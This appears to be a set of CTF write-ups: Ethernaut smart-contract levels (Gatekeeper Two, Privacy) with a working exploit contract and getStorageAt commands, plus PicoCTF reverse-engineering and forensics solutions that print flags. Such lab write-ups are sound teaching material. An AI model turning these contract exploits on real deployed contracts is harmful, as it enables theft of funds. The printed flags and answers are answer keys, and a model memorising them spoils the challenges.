Ethernaut - 14. Gatekeeper Two

Difficulty: 🌕🌕🌕🌑🌑

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:

  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Writeup

There are three gates we need to pass.

  • Gate one : Using the contract to call the method. msg.sender will be the contract address and tx.origin will be my account address.
  • Gate two : When contract is being created, code size (extcodesize) is 0. Write all code in constructor() to pass the check. To learn more detail, you can visit this website.
  • Gate three : If a ^ b = c then c ^ a = b . We can use this logic to derive the value of _gateKey. To learn more detail, you can visit this website.
  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity >=0.8.0 <0.9.0;
    
     interface IGatekeeperTwo {
         function enter(bytes8 _gateKey) external returns (bool);
     }
    
     contract GatekeeperTwoExploiter {
         constructor() {
             unchecked{
                 bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1  );
                 IGatekeeperTwo(YOUR_INSTANCE_ADDRESS).enter(key);
             }
         }
     }
    
  3. Compile and deploy.
  4. Submit instance ξ( ✿>◡❛)

Ethernaut - 12. Privacy

Difficulty: 🌕🌕🌕🌕🌑

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Writeup

Although data is private variable. We still can use web3.eth.getStorageAt to get the state of the contract’s storage.

  1. Get new instance.
  2. Try to get locked value by web3.eth.getStorageAt.
    
     await web3.eth.getStorageAt("YOUR_LEVEL_INSTANCE_ADDRESS", 1)
     // '0x0000000000000000000000000000000000000000000000000000000000000001' // return locked value // true
    
    
  3. Get data[2].
    
     await web3.eth.getStorageAt("YOUR_LEVEL_INSTANCE_ADDRESS", 5)
     // '0x7c1db6671abbdbf3884f953ac1683887832f14843bc56d6f3250a825a233f93e' 
    
    
  4. Unlock.
    
     await contract.unlock('0x7c1db6671abbdbf3884f953ac1683887')
    
    
  5. Get locked value again.
    
     await web3.eth.getStorageAt("YOUR_LEVEL_INSTANCE_ADDRESS", 1)
     // '0x0000000000000000000000000000000000000000000000000000000000000000' // false
    
    
  6. Submit instance ξ( ✿>◡❛)

PicoCTF - speeds and feeds

Challenge

Tags

PicoCTF 2021 / Reverse Engineering

Description

There is something on my shop network running at nc mercury.picoctf.net 16524, but I can’t tell what it is. Can you?

Prereguisite

G-code

Writeup

  1. Save G-code to the file
    
     nc mercury.picoctf.net 16524 > g.gcode
    
    
  2. Go to this website and open g.gcode.
  3. Here’s flag ! picoCTF{num3r1cal_c0ntr0l_e7749028} ٩(^ᴗ^)۶

PicoCTF - Sleuthkit Intro

Challenge

Tags

PicoCTF 2021 / Forensics / sleuthkit

Description

Description Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag. Note: if you are using the webshell, download and extract the disk image into /tmpnot your home directory.

Prereguisite

mmls, which is a tool of sleuthkit used to display the partition layout of a volume system (partition tables).

Writeup

  1. Download the file.
        
     wget https://artifacts.picoctf.net/c/114/disk.img.gz
        
    
  2. Unzip.
        
     gzip -d disk.img.gz
        
    
  3. Display the partition layout of a volume system (partition tables).
        
     mmls disk.img
        
    
  4. nc saturn.picoctf.net 52279 and input 202752.
  5. Here’s flag ! picoCTF{mm15_f7w!} ٩(^ᴗ^)۶

PicoCTF - Safe Opener

Challenge

Tags

PicoCTF 2022 / Reverse Engineering

Description

Can you open this safe?
I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
Put the password you recover into the picoCTF flag format like:
picoCTF{password}

Writeup

  1. Download the progrem SafeOpener.java. There is a method named openSafe used to check if password correct. String encodedkey is password which was transferd to byte array and encode.
  2. We can derive the password by decoding string encodedkey. Add four lines to openSafe method.
  3. Execute the program. Here’s flag! picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3} ٩(^ᴗ^)۶